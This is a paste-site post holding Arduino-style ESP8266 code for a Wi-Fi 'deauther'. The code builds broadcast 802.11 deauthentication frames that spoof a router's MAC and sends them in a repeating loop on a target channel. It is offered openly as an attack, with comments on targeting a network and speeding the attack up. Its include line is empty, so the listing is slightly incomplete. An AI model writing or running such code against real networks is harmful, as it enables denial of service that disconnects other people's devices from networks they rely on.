CCCPaste

Step-by-Step Deauther Code

#include 

// Define the packet structure for the deauthentication frames
uint8_t deauthPacket[26] = {
  0xC0, 0x00,             // Frame Control (Type: Management, Subtype: Deauthentication)
  0x3A, 0x01,             // Duration
  0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,   // Destination MAC (Broadcast)
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   // Source MAC (Change to match your router's MAC)
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00,   // BSSID (Change to match your router's BSSID)
  0x00, 0x00,             // Fragment/Sequence Number
  0x07, 0x00              // Reason Code (0x07: Class 3 frame received from non-associated station)
};

// Set the channel for your deauth attack
void setChannel(int channel) {
  if (channel < 1 || channel > 13) {
    channel = 1;
  }
  WiFi.begin();            // Start the WiFi module
  WiFi.disconnect();        // Disconnect from any network
  delay(100);               // Give time to reset
  wifi_set_channel(channel); // Set WiFi to the specific channel
}

void sendDeauth() {
  // Start the deauth attack by sending out deauthentication frames
  for (int i = 0; i < 100; i++) {
    delay(1); // Reduce this delay to speed up the attack
    wifi_send_pkt_freedom(deauthPacket, 26, 0); // Send the packet
  }
}

void setup() {
  // Setup WiFi in monitor mode for sending raw packets
  Serial.begin(115200);
  Serial.println("Starting Wi-Fi Deauther");

  WiFi.mode(WIFI_OFF);  // Disable WiFi connection mode
  WiFi.forceSleepBegin();
  delay(1);

  // Set the WiFi interface in promiscuous mode
  wifi_set_opmode(STATION_MODE);
  wifi_promiscuous_enable(1);
}

void loop() {
  // Specify the Wi-Fi channel you want to target
  setChannel(6); // Replace '6' with the channel of the target network

  // Call the function to send deauthentication frames
  sendDeauth();

  delay(1000);  // Wait for a second before next round of deauthentication
}